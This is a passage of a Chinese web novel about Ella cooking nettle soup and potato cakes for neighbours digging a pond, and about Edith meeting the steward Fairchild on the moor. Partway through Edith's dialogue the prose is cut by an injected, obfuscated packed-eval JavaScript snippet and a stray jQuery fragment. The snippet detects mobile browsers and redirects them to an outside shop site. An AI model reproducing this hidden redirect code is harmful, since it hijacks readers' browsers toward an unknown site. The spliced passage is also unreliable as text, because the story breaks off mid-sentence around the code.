威廉很不好意思，压低了声音，不想让前面的艾拉听到。
那个姑娘看起来也才二十左右的年纪，长相可爱，一头金色的头发很是亮眼。
就像这土豆饼一样，简直太让他惊喜了。
挖池子的地方在三家的中间，这里地势低，土质黏，是整片地域中相当不错的蓄水地方。
老乔和莫莉夫人的几个兄弟在吃了土豆饼之后，就开始用铁锹挖起来。
艾拉和小汤姆也没闲着，把东西收拾好了之后，也在旁边帮忙运土。
她是个不服输的女孩，独轮车上装得满满当当，堆得像个小山。
莫莉夫人很快就过来制止，心疼地看着艾拉：“亲爱的，这样的活计可不用你来干，你能带来那么美味的食物已经让我们太开心了。”
说着，就把艾拉拉到一旁。
艾拉不愿意：“莫莉，我可以的。”
“让他们小伙子干去吧，你看他们个个力气都大的很，不能白吃饭。”
艾拉顺着莫莉夫人的视线看过去，先看到了威廉的身影，他在这几个人里面块头是最大的，长得也很英俊。
刚才，他也是几个兄弟中，第一个过来让她给盛汤。
艾拉收回视线，没有再强求过去帮忙，而是收拾了东西往回走。
“那我再去准备一些吃的。”
听她这么说，在场的人立刻欢呼起来：“还要吃这个汤！”
“还有这个土豆饼，我的最爱！”
老乔也被带的充满了活力。
艾拉其实心里有些没底，她还没有一个人独立地做过土豆饼，更不要说荨麻汤了。
可刚刚她已经说了大话，不想让那些卖力干活的人失望，只能硬着头皮去想伊迪丝是怎么做的。
伊迪丝每次做的时候，都会把步骤不厌其烦地说给他们。
艾拉回忆了一会儿，心里多少有了些主意。
荨麻是在林子的边缘和沟渠边摘到的嫩叶，当然在采摘的时候要戴上手套。
并且采回来的荨麻也不能用刀切，伊迪丝特意叮嘱过，一旦切了就会渗出苦水，整个汤就会变苦。
艾拉一边想着，一边把揉好的荨麻在清水里洗了两遍，摊在亚麻布上沥干。
汤用的是牛骨，上次伊迪丝在伯顿小镇花了六便士买的，每次都用上一点。
把骨头敲碎，熬出香味之后，就可以把焯好水的荨麻放进汤里。
小汤姆在外面和莫莉夫人的儿子沃尔特玩了一会儿，担心艾拉，便急匆匆地跑了回来。
一进农场，他便闻到了一阵香味。
他噔噔地跑向厨房，便看到艾拉刚用木勺舀了一小口，打算尝一尝这汤的味道。
小汤姆吸溜了一下鼻子，往前凑了凑，“艾拉，这是你做的？”
“没错，也不知道做没做成功。”
小汤姆凑上去抿了一口这汤，随即眼睛亮亮的看向艾拉，“是这个味道，你真是太厉害了！”
艾拉悬着的心放下了一些：“真的吗，小汤姆？”
她不太相信地品尝了一口。
汤的鲜味是不如伊迪丝做出来的，但怎么说，已经比她之前做的不知道好吃多少倍。
艾拉想，如果几年前她能有这一手，怕是早就进了庄园里当女佣。
土豆饼也做好了。
相比于荨麻汤来说，土豆饼她接触得更多，做起来更加得心应手一些。
“你觉得这个味道怎么样？”等土豆饼从烤炉里拿出来，艾拉就迫不及待地问道。
荨麻汤不会天天做，可是土豆饼是要拿到矿场和镇上去换钱的。
如果她能做得有八九分像，伊迪丝就能轻松不少了。
不过打开烤炉之后，艾拉的脸红了一下。
她烤出来的饼颜色要深一点，有的边缘已经焦了，而且形状大小也不能完全统一。
艾拉肩膀垮了一下，叹了一口气：“好吧，我果然还是没有天分。”
小汤姆凑过来，踮脚看了一眼，伸手拿了一个，像一个小大人一样安慰艾拉：“总得先尝一个才知道。”
咔嚓一声下去，传出来一种脆裂的声音，小汤姆慢慢嚼了嚼，又低头看了一眼手里的饼，然后抬头看着艾拉：“里面的面是软的。外面这层，比伊迪丝的薄。”
艾拉咬着下唇：“那不是做失败了吗？”
“不是。”小汤姆说，“这样也挺好吃。”
他说完，又咬了一口。
艾拉自己也拿了一个，咬下去的时候，那股脆的触感顺着牙齿传上来，然后是里面柔软的，带着温热的面心。
好像真的没有那么难吃。
艾拉放松了不少：“你说的对，反正这些也不能扔了，都带过去让他们尝一尝。”
他们家的土豆本来就是去年存起来的，今年的还没有收获，这样下去该不够了。
毕竟，他们怎么也不能舍弃了矿场和镇上的生意。
正发愁，那个叫威廉的小伙子推着一车的土豆过来，他没有进到院子里，只在围栏外面高声喊了几声。
等艾拉出来，他的脸色立刻红了，完全没了刚才大大咧咧的样子：“莫莉让送来的土豆。”
艾拉觉得威廉是个很有意思的小伙子，她没有推辞：“谢谢你们了，我正发愁土豆没有那么多。”
正说着话，远处传来了一阵熟悉的脚步声，伊迪丝拿着篮子走了回来。
可能因为走得着急，她额头出了一层汗。
不同于其他淑女小姐，伊迪丝外出的时候很少戴那些繁杂的帽子，只把头发整整齐齐地梳在脑后。
她喜欢阳光晒在脸上的感觉，至于会不会被晒黑，伊迪丝发现她可以做到不在乎。
“伊迪丝，你回来了。”艾拉看到伊迪丝回来就很高兴，往前走了两步迎了上去。
伊迪丝的目光停留在威廉身上，朝他点了点头。
威廉不认识伊迪丝，但听莫莉夫人说起来过，也知道先前吃到的土豆饼是她做的。
他的脸比刚才还要红，在一旁局促的没有开口。
伊迪丝用眼神询问地看向艾拉，艾拉就悄声地说：“是莫莉夫人的弟弟，威廉·莫里斯，来给咱们送土豆。”
伊迪丝看到了那一车的土豆，把心里的石头也放下：“先生，多谢了。”
她转过身，让威廉进来，把土豆放到后院。
威廉不好意思在他们家里多待，很快就走了。
艾拉兴冲冲的把伊迪丝拉到厨房：“快看！我已经把晚上吃的土豆饼做好了。”
伊迪丝惊喜的看过去，就看到了放在藤篮里的土豆饼。
艾拉有些不好意思：“做的还不太好。”
“天啊艾拉，你不要这么说！你真的太棒了。”伊迪丝上前抱了抱艾拉。
艾拉的手腕的确很难受，但是她很兴奋：“我总觉得自己帮不上你们什么忙，而且我的土豆饼也没有你做出来的那么好吃。”
她觉得伊迪丝和贝蒂是在外面挣钱，而她的手艺只是一般般。
伊迪丝尝了一口艾拉的土豆饼，给她竖了大拇指：“艾拉你知道吗，你的土豆饼做得已经很不错了，和我做出来的味道不一样，但同样好吃。”
顿了顿，又继续道：“而且谁说你在家里没有贡献的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17641435|205804||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
？咱们家里可以说你的贡献是最大的。小汤姆你帮着照看，家里的很多杂活都是你来做，还要去林子里摘东西。”
伊迪丝每说一句，艾拉的脸就红一下：“那些没什么的……”
伊迪丝不给她辩驳的机会：“现在你需要上楼好好地休息一下，接下来厨房交给我吧。”
艾拉心疼伊迪丝：“我做的土豆饼有多的，我打算中午再给他们送一些，我们一会儿也吃这个就行。”
伊迪丝看了看摘回来的果子：“我要多做一些果酱，顺便再做一点其他的吃食。”
不只是他们晚上吃的，是给木森夫人的。
就在刚才她回来的路上，路过荒原的时候，她在那里看到了费尔舍先生。
五月底的荒原，比前几天更绿更茂盛，偶尔能看到一丛丛的石楠花点缀其间。
白天路过荒原的时候，伊迪丝都会专心地盯着路边，想找一找有没有什么可以带回去的东西。
比如，今天她就找到了薄荷。
薄荷一般长在潮湿的地方，她直接掐了一片放在嘴里，一瞬间清亮的感觉就从舌尖蔓延到了嘴里。
回去拿来泡水喝，也可以解渴。
正在这时候，她听到了马蹄声。
伊迪丝回头看过去，在荒原上骑马的人不多，就连马车也只是偶尔才能看到一辆。
费尔舍就在那匹栗色的马上，穿着一件深灰色的外套，头上没有戴帽子，可能是因为骑马，会被风刮跑。
这也让他的头发被风吹得有些乱。
“霍普小姐。”他的目光在伊迪丝手上停留了一下，眼里没多少意外。
他想，那让他惊艳了一下的鲜花饼也许就是从这荒原上摘下来的。
多么廉价啊，竟是一些上不得台面的东西，他却上了伊迪丝的当。
上次在科尔先生的舞会上吃过瘪之后，费尔舍先生就对自己的行为产生了深深的怀疑。
他怎么会凭一个小小的，毫不起眼的鲜花饼就答应了伊迪丝。
而伊迪丝这位小姐更是胆大包天，根本就没有把他放在眼里，连给夫人做饭这样的荣耀都能拒绝。
伊迪丝很是奇怪地看着费尔舍，他的脸上没有什么表情，但是眼里有一些她说不清的东西。
似乎是厌恶，又似乎是懊丧。
“费尔舍先生。”她露出微笑，“您找我有事？”
那样的不卑不亢，丝毫没有因为见到他，而像其他人那样的卑躬屈膝。
费尔舍虽然只是一个管家，但是因为代表的是木森先生，所以在伯顿小镇这一片很受尊敬。
“木森先生让我去东边的佃户家收租。”费尔舍勒了一下马，“路过这里。”
伊迪丝看了一眼他来的方向，东边确实是有不少的佃户，但是她也知道，收租的时候根本不用费尔舍这样的管家来跑。
除非这些人不想再租了。
但她没有说破。
费尔舍问伊迪丝：“你在摘什么，又要做什么奇怪的东西？”
“摘了一些薄荷和石楠花。如果费尔舍先生还想吃鲜花饼的话，我倒是可以再送过去。”
费尔舍的舌尖似乎立刻分泌出上次的味道，但是他矜持地没有说话。
“哦对了，还有果酱。”伊迪丝歪着头，把用麻绳绑起来的罐子打开，里面的颜色很红，还能看到野果的纤维和细小的籽粒。
费尔舍看过去，略微有些意外的挑了挑眉。
“果酱。”伊迪丝重复了一遍，露出一个笑容。
她好像找到了果酱最好的去处，之前让她避之不及的木森庄园现在也变得和蔼可亲起来。